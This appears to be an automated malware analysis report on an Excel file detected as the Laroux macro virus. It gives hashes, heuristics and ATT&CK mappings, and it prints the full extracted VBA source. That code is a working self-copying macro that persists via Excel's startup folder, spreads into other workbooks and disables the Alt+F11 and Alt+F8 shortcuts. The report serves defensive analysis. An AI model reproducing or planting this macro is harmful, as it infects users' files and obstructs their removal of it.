Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e872f4ecb07f8b80…

MALICIOUS

Office (OLE)

36.5 KB Created: 2013-10-11 04:01:36 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: 8b9c135ebaafa1cf80f0b0cda8aa52d0 SHA-1: 5ae3a22f19420a27bdc5be2f1098b7678451fba6 SHA-256: e872f4ecb07f8b80e915ce8fd099f8e08317832553c570fcb45ea574a97f6094
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic and the presence of VBA macros, specifically an Auto_Open macro, indicate malicious intent. The macro attempts to establish persistence by copying the workbook to the Excel startup folder as 'StartUp.xls' and configuring event handlers. The document body content appears to be a deceptive order form for educational materials, likely a lure.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1234 bytes
SHA-256: 72b2341402d2f2982f7677592451814f444de0f70190cedb023e667ebc23ae6a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True